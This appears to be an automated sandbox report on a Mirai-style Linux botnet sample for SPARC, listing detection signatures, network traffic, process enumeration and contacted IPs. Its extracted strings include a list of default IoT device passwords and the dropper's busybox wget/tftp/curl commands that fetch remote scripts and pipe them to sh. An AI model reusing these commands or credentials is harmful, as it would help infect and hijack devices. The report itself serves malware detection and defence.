Linux Analysis Report
la.bot.sparc.elf

Overview

General Information

Sample name: la.bot.sparc.elf
Analysis ID: 1541485
MD5: f7ae064bc770c5085040f28b2345d36e
SHA1: e710794648c2e64d981755ce3ac3962d3ba19875
SHA256: 370622339d8905ff09190cf55a37e56e97ae487e009c82b7dea3103a121f461a
Tags: elfuser-abuse_ch
Infos:

Detection

Score: 68
Range: 0 - 100
Whitelisted: false

Signatures

Antivirus / Scanner detection for submitted sample
Multi AV Scanner detection for submitted file
Connects to many ports of the same IP (likely port scanning)
Deletes system log files
Sample tries to access files in /etc/config/ (typical for OpenWRT routers)
Creates hidden files and/or directories
Detected TCP or UDP traffic on non-standard ports
Enumerates processes within the "proc" file system
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample listens on a socket
Sample tries to kill a process (SIGKILL)
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

AV Detection
barindex
Antivirus / Scanner detection for submitted sample
Source: la.bot.sparc.elf Avira: detected
Multi AV Scanner detection for submitted file
Source: la.bot.sparc.elf ReversingLabs: Detection: 34%
Found strings indicative of a multi-platform dropper
Source: la.bot.sparc.elf String: ash|login|wget|curl|tftp|ntpdate
Source: la.bot.sparc.elf String: ash|login|wget|curl|tftp|ntpdate|ftp
Source: la.bot.sparc.elf String: /exe/maps|ash|login|wget|curl|tftp|ntpdate/usr/bin/usr/sbin/system/mnt/mtd/app/org/z/zbin/home/app/dvr/bin/duksan/userfs/mnt/app/usr/etc/dvr/main/usr/local/var/bin/tmp/sqfs/z/bin/dvr/mnt/mtd/zconf/gm/bin/home/process/var/challenge/usr/lib/lib/systemd//usr/lib/systemd/system/system/bin//mnt//home/helper/home/davinci/usr/libexec//sbin//bin//proc/net/tcp/fd/fd//proc/ash|login|wget|curl|tftp|ntpdate|ftp/lib//dev/watchdog/dev/misc/watchdog
Source: la.bot.sparc.elf String: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedbinvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORA/bin/busybox echo > .ri && sh .ri && cd .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrepwEek/tmp//var//var/run//var/tmp//dev//dev/shm//etc//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63\x2F\x2A\3B""\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A\x20\x20\x23\x20\x53\x6B\x69\x70\x20\x6E\x6F\x6E\x2D""\x6E\x75\x6D\x65\x72\x69\x63\x20\x64\x69\x72\x65\x63\x74\x6F\x72\x69\x65\x73\x0A\x20\x20\x69\x66\x20\x21\x20\x5B\x20\x22\x24\x70\x69\x64\x22\x20\x2D\x65""\x71\x20\x22\x24\x70\x69\x64\x22\x20\x5D\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x63\x6F\x6E\x74""\x69\x6E\x75\x65\x0A\x20\x20\x66\x69\x0A\x0A\x20\x20\x23\x20\x47\x65\x74\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x6F\x66""\x20\x74\x68\x65\x20\x70\x72\x6F\x63\x65\x73\x73\x0A\x20\x20\x63\x6D\x64\x6C\x69\x6E\x65\x3D\x24\x28\x74\x72\x20\x27\x5C\x30\x27\x20\x27\x20\x27\x20\x3C""\x20\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x63\x6D\x64\x6C\x69\x6E\x65\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x23""\x20\x43\x68\x65\x63\x6B\x20\x69\x66\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x63\x6F\x6E\x74\x61\x69\x6E\x73\x20\x22\x64""\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x0A\x20\x20\x69\x66\x20\x65\x63\x68\x6F\x20\x22\x24\x63\x6D\x64\x6C\x69\x6E\x65\x22\x20\x7C\x20\x67\x72\x65\x70\x20\x2D""\x71\x20\x22\x64\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64""\x22\x0A\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4

Networking
barindex
Connects to many ports of the same IP (likely port scanning)
Source: global traffic TCP traffic: 154.205.128.136 ports 2,3,6,7,8,32876
Detected TCP or UDP traffic on non-standard ports
Source: global traffic TCP traffic: 192.168.2.23:51610 -> 154.205.128.136:32876
Sample listens on a socket
Source: /tmp/la.bot.sparc.elf (PID: 6229) Socket: 127.0.0.1:1234 Jump to behavior
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Source: global traffic TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443
Source: global traffic TCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
Source: global traffic TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80
Source: unknown TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown TCP traffic detected without corresponding DNS query: 12.114.179.131
Source: unknown TCP traffic detected without corresponding DNS query: 12.114.179.131
Source: unknown TCP traffic detected without corresponding DNS query: 77.218.98.68
Source: unknown TCP traffic detected without corresponding DNS query: 77.218.98.68
Source: unknown TCP traffic detected without corresponding DNS query: 103.194.35.97
Source: unknown TCP traffic detected without corresponding DNS query: 103.194.35.97
Source: unknown TCP traffic detected without corresponding DNS query: 16.0.211.216
Source: unknown TCP traffic detected without corresponding DNS query: 16.0.211.216
Source: unknown TCP traffic detected without corresponding DNS query: 143.34.6.151
Source: unknown TCP traffic detected without corresponding DNS query: 143.34.6.151
Source: unknown TCP traffic detected without corresponding DNS query: 204.146.76.119
Source: unknown TCP traffic detected without corresponding DNS query: 204.146.76.119
Source: unknown TCP traffic detected without corresponding DNS query: 108.145.121.249
Source: unknown TCP traffic detected without corresponding DNS query: 108.145.121.249
Source: unknown TCP traffic detected without corresponding DNS query: 54.42.233.244
Source: unknown TCP traffic detected without corresponding DNS query: 54.42.233.244
Source: unknown TCP traffic detected without corresponding DNS query: 223.236.1.244
Source: unknown TCP traffic detected without corresponding DNS query: 223.236.1.244
Source: unknown TCP traffic detected without corresponding DNS query: 194.85.192.204
Source: unknown TCP traffic detected without corresponding DNS query: 194.85.192.204
Source: unknown TCP traffic detected without corresponding DNS query: 212.43.127.204
Source: unknown TCP traffic detected without corresponding DNS query: 212.43.127.204
Source: unknown TCP traffic detected without corresponding DNS query: 83.184.166.121
Source: unknown TCP traffic detected without corresponding DNS query: 83.184.166.121
Source: unknown TCP traffic detected without corresponding DNS query: 202.244.28.71
Source: unknown TCP traffic detected without corresponding DNS query: 202.244.28.71
Source: unknown TCP traffic detected without corresponding DNS query: 163.238.201.181
Source: unknown TCP traffic detected without corresponding DNS query: 163.238.201.181
Source: unknown TCP traffic detected without corresponding DNS query: 17.152.163.232
Source: unknown TCP traffic detected without corresponding DNS query: 17.152.163.232
Source: unknown TCP traffic detected without corresponding DNS query: 215.181.183.176
Source: unknown TCP traffic detected without corresponding DNS query: 215.181.183.176
Source: unknown TCP traffic detected without corresponding DNS query: 116.206.245.163
Source: unknown TCP traffic detected without corresponding DNS query: 116.206.245.163
Source: unknown TCP traffic detected without corresponding DNS query: 75.227.4.174
Source: unknown TCP traffic detected without corresponding DNS query: 75.227.4.174
Source: unknown TCP traffic detected without corresponding DNS query: 49.128.80.145
Source: unknown TCP traffic detected without corresponding DNS query: 49.128.80.145
Source: unknown TCP traffic detected without corresponding DNS query: 25.65.126.172
Source: unknown TCP traffic detected without corresponding DNS query: 25.65.126.172
Source: unknown TCP traffic detected without corresponding DNS query: 181.48.50.99
Source: unknown TCP traffic detected without corresponding DNS query: 181.48.50.99
Source: unknown TCP traffic detected without corresponding DNS query: 183.118.164.141
Source: unknown TCP traffic detected without corresponding DNS query: 183.118.164.141
Source: unknown TCP traffic detected without corresponding DNS query: 135.225.163.203
Source: unknown TCP traffic detected without corresponding DNS query: 135.225.163.203
Source: unknown TCP traffic detected without corresponding DNS query: 60.11.53.81
Source: unknown TCP traffic detected without corresponding DNS query: 60.11.53.81
Source: unknown TCP traffic detected without corresponding DNS query: 55.19.188.183
Source: la.bot.sparc.elf String found in binary or memory: http:///curl.sh
Source: la.bot.sparc.elf String found in binary or memory: http:///wget.sh
Source: unknown Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 42836 -> 443
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Source: Initial sample String containing 'busybox' found: usage: busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample String containing 'busybox' found: /bin/busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox hostname FICORA
Source: Initial sample String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample String containing 'busybox' found: /wget.sh -O- | sh;/bin/busybox tftp -g
Source: Initial sample String containing 'busybox' found: -r tftp.sh -l- | sh;/bin/busybox ftpget
Source: Initial sample String containing 'busybox' found: /bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrep
Source: Initial sample String containing 'busybox' found: (usage: busyboxincorrectinvalidbadwrongfaildeniederrorretryGET /dlr. HTTP/1.0
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne >> > upnp
Source: Initial sample String containing 'busybox' found: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedbinvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORA/bin/busybox echo > .ri && sh .ri && cd .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrepwEek/tmp//var//var/
Sample has stripped symbol table
Source: ELF static info symbol of initial sample .symtab present: no
Sample tries to kill a process (SIGKILL)
Source: /tmp/la.bot.sparc.elf (PID: 6229) SIGKILL sent: pid: 936, result: successful Jump to behavior
Source: classification engine Classification label: mal68.troj.evad.linELF@0/0@0/0

Data Obfuscation
barindex
Sample tries to access files in /etc/config/ (typical for OpenWRT routers)
Source: /tmp/la.bot.sparc.elf (PID: 6235) File: /etc/config Jump to behavior
Creates hidden files and/or directories
Source: /tmp/la.bot.sparc.elf (PID: 6235) Directory: /root/.cache Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6235) Directory: /root/.ssh Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6235) Directory: /root/.config Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6235) Directory: /root/.local Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6235) Directory: /tmp/.X11-unix Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6235) Directory: /tmp/.Test-unix Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6235) Directory: /tmp/.font-unix Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6235) Directory: /tmp/.ICE-unix Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6235) Directory: /tmp/.XIM-unix Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6235) Directory: /etc/.java Jump to behavior
Enumerates processes within the "proc" file system
Source: /tmp/la.bot.sparc.elf (PID: 6229) File opened: /proc/230/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6229) File opened: /proc/110/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6229) File opened: /proc/231/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6229) File opened: /proc/111/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6229) File opened: /proc/232/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6229) File opened: /proc/112/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6229) File opened: /proc/233/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6229) File opened: /proc/113/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6229) File opened: /proc/234/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6229) File opened: /proc/114/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6229) File opened: /proc/235/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6229) File opened: /proc/115/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6229) File opened: /proc/236/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6229) File opened: /proc/116/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6229) File opened: /proc/237/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6229) File opened: /proc/117/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6229) File opened: /proc/118/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6229) File opened: /proc/910/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6229) File opened: /proc/119/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6229) File opened: /proc/912/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6229) File opened: /proc/10/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6229) File opened: /proc/11/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6229) File opened: /proc/918/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6229) File opened: /proc/12/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6229) File opened: /proc/13/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6229) File opened: /proc/14/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6229) File opened: /proc/15/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6229) File opened: /proc/16/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6229) File opened: /proc/17/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6229) File opened: /proc/18/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6229) File opened: /proc/120/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6229) File opened: /proc/121/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6229) File opened: /proc/1/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6229) File opened: /proc/1/maps Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6229) File opened: /proc/122/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6229) File opened: /proc/243/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6229) File opened: /proc/123/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6229) File opened: /proc/2/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6229) File opened: /proc/124/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6229) File opened: /proc/3/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6229) File opened: /proc/4/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6229) File opened: /proc/125/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6229) File opened: /proc/126/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6229) File opened: /proc/127/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6229) File opened: /proc/6/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6229) File opened: /proc/248/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6229) File opened: /proc/128/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6229) File opened: /proc/249/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6229) File opened: /proc/800/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6229) File opened: /proc/9/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6229) File opened: /proc/801/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6229) File opened: /proc/20/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6229) File opened: /proc/21/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6229) File opened: /proc/22/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6229) File opened: /proc/23/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6229) File opened: /proc/24/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6229) File opened: /proc/25/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6229) File opened: /proc/26/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6229) File opened: /proc/27/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6229) File opened: /proc/28/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6229) File opened: /proc/29/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6229) File opened: /proc/491/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6229) File opened: /proc/250/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6229) File opened: /proc/130/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6229) File opened: /proc/251/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6229) File opened: /proc/252/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6229) File opened: /proc/132/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6229) File opened: /proc/253/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6229) File opened: /proc/254/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6229) File opened: /proc/255/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6229) File opened: /proc/256/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6229) File opened: /proc/257/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6229) File opened: /proc/379/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6229) File opened: /proc/258/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6229) File opened: /proc/259/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6229) File opened: /proc/936/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6229) File opened: /proc/30/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6229) File opened: /proc/35/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6229) File opened: /proc/260/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6229) File opened: /proc/261/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6229) File opened: /proc/141/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6229) File opened: /proc/262/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6229) File opened: /proc/263/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6229) File opened: /proc/264/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6229) File opened: /proc/144/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6229) File opened: /proc/265/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6229) File opened: /proc/266/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6229) File opened: /proc/267/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6229) File opened: /proc/269/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6229) File opened: /proc/270/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6229) File opened: /proc/272/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6229) File opened: /proc/274/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6229) File opened: /proc/278/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6229) File opened: /proc/157/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6229) File opened: /proc/281/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6229) File opened: /proc/286/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6229) File opened: /proc/720/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6229) File opened: /proc/721/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6229) File opened: /proc/847/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6229) File opened: /proc/77/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6229) File opened: /proc/78/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6229) File opened: /proc/79/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6229) File opened: /proc/80/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6229) File opened: /proc/81/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6229) File opened: /proc/82/fd Jump to behavior

Hooking and other Techniques for Hiding and Protection
barindex
Deletes system log files
Source: /tmp/la.bot.sparc.elf (PID: 6235) Log files deleted: /var/log/kern.log Jump to behavior
Uses the "uname" system call to query kernel version information (possible evasion)
Source: /tmp/la.bot.sparc.elf (PID: 6229) Queries kernel information via 'uname': Jump to behavior
Source: la.bot.sparc.elf, 6229.1.0000562d6582f000.0000562d658d6000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/sparc
Source: la.bot.sparc.elf, 6229.1.0000562d6582f000.0000562d658d6000.rw-.sdmp Binary or memory string: e-V!/etc/qemu-binfmt/sparc
Source: la.bot.sparc.elf, 6229.1.00007fff3182e000.00007fff3184f000.rw-.sdmp Binary or memory string: [,x86_64/usr/bin/qemu-sparc/tmp/la.bot.sparc.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/la.bot.sparc.elf
Source: la.bot.sparc.elf, 6229.1.00007fff3182e000.00007fff3184f000.rw-.sdmp Binary or memory string: /usr/bin/qemu-sparc

No Screenshots

  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
202.27.23.13
 unknown Singapore
56039 SPH-SG1000ToaPayohNorthNewsCentreSG false
11.26.239.20
 unknown United States
3356 LEVEL3US false
67.224.247.13
 unknown Puerto Rico
10396 COQUI-NETPR false
151.222.24.248
 unknown unknown
11003 PANDGUS false
66.171.26.198
 unknown United States
33339 NEMONT-CELLULARUS false
109.158.239.16
 unknown United Kingdom
2856 BT-UK-ASBTnetUKRegionalnetworkGB false
101.35.205.114
 unknown China
132203 TENCENT-NET-AP-CNTencentBuildingKejizhongyiAvenueCN false
100.25.217.62
 unknown United States
14618 AMAZON-AESUS false
84.249.1.71
 unknown Finland
1759 TSF-IP-CORETeliaFinlandOyjEU false
172.98.191.77
 unknown United States
18779 EGIHOSTINGUS false
60.0.60.6
 unknown China
4837 CHINA169-BACKBONECHINAUNICOMChina169BackboneCN false
31.196.12.211
 unknown Italy
3269 ASN-IBSNAZIT false
174.216.195.20
 unknown United States
22394 CELLCOUS false
181.47.141.66
 unknown Argentina
27747 TelecentroSAAR false
43.241.39.133
 unknown India
133296 WEBWERKS-AS-INWebWerksIndiaPvtLtdIN false
216.42.117.108
 unknown United States
2914 NTT-COMMUNICATIONS-2914US false
117.97.172.103
 unknown India
24560 AIRTELBROADBAND-AS-APBhartiAirtelLtdTelemediaServices false
51.173.247.105
 unknown United States
2686 ATGS-MMD-ASUS false
67.173.176.99
 unknown United States
7922 COMCAST-7922US false
115.186.147.61
 unknown Pakistan
23674 NAYATEL-PKNayatelPvtLtdPK false
75.172.178.68
 unknown United States
209 CENTURYLINK-US-LEGACY-QWESTUS false
123.209.106.41
 unknown Australia
1221 ASN-TELSTRATelstraCorporationLtdAU false
69.214.197.89
 unknown United States
7018 ATT-INTERNET4US false
55.26.142.148
 unknown United States
319 DNIC-ASBLK-00306-00371US false
7.252.13.210
 unknown United States
3356 LEVEL3US false
215.60.23.183
 unknown United States
721 DNIC-ASBLK-00721-00726US false
112.175.44.197
 unknown Korea Republic of
4766 KIXS-AS-KRKoreaTelecomKR false
59.80.225.90
 unknown China
134542 UNICOM-GUIANChinaUnicomIPnetworkCN false
163.28.178.178
 unknown Taiwan; Republic of China (ROC)
1659 ERX-TANET-ASN1TaiwanAcademicNetworkTANetInformationC false
152.155.48.14
 unknown United States
6400 CompaniaDominicanadeTelefonosSADO false
73.57.18.47
 unknown United States
7922 COMCAST-7922US false
186.57.171.110
 unknown Argentina
22927 TelefonicadeArgentinaAR false
163.15.191.233
 unknown Taiwan; Republic of China (ROC)
1659 ERX-TANET-ASN1TaiwanAcademicNetworkTANetInformationC false
192.171.210.206
 unknown United States
5056 AUREON-5056US false
116.166.170.98
 unknown China
4847 CNIX-APChinaNetworksInter-ExchangeCN false
28.247.147.203
 unknown United States
7922 COMCAST-7922US false
4.13.82.196
 unknown United States
3356 LEVEL3US false
141.216.112.220
 unknown United States
394769 UMF-7-ASUS false
186.209.12.107
 unknown Brazil
53152 THSProviderServicosdeComunicacaoMultimidiaLTBR false
12.124.150.8
 unknown United States
7018 ATT-INTERNET4US false
140.251.34.90
 unknown United States
20252 JSIWMCUS false
128.53.179.228
 unknown Japan 2514 INFOSPHERENTTPCCommunicationsIncJP false
57.184.224.64
 unknown Belgium
2686 ATGS-MMD-ASUS false
81.148.253.123
 unknown United Kingdom
2856 BT-UK-ASBTnetUKRegionalnetworkGB false
139.229.11.172
 unknown United States
19226 AURA-SOUTHUS false
166.42.58.68
 unknown United States
3372 MCI-ASNUS false
120.107.219.137
 unknown Taiwan; Republic of China (ROC)
17716 NTU-TWNationalTaiwanUniversityTW false
164.79.231.8
 unknown United States
1239 SPRINTLINKUS false
4.210.184.216
 unknown United States
3356 LEVEL3US false
31.94.153.255
 unknown United Kingdom
12576 EELtdGB false
161.37.102.23
 unknown Spain
158 ERI-ASUS false
106.178.36.31
 unknown Japan 2516 KDDIKDDICORPORATIONJP false
160.1.114.84
 unknown United States
8987 AMAZONEXPANSIONGB false
181.45.174.176
 unknown Argentina
27747 TelecentroSAAR false
165.148.31.67
 unknown South Africa
5734 TIENETZA false
29.52.163.158
 unknown United States
7922 COMCAST-7922US false
216.141.213.52
 unknown United States
3356 LEVEL3US false
207.66.48.2
 unknown United States
13332 HYPEENT-SJUS false
151.105.118.248
 unknown Finland
1759 TSF-IP-CORETeliaFinlandOyjEU false
197.73.219.212
 unknown South Africa
16637 MTNNS-ASZA false
219.108.208.88
 unknown Japan 2516 KDDIKDDICORPORATIONJP false
125.73.206.11
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
159.156.178.10
 unknown Switzerland
34578 BEDAGCH false
28.129.152.254
 unknown United States
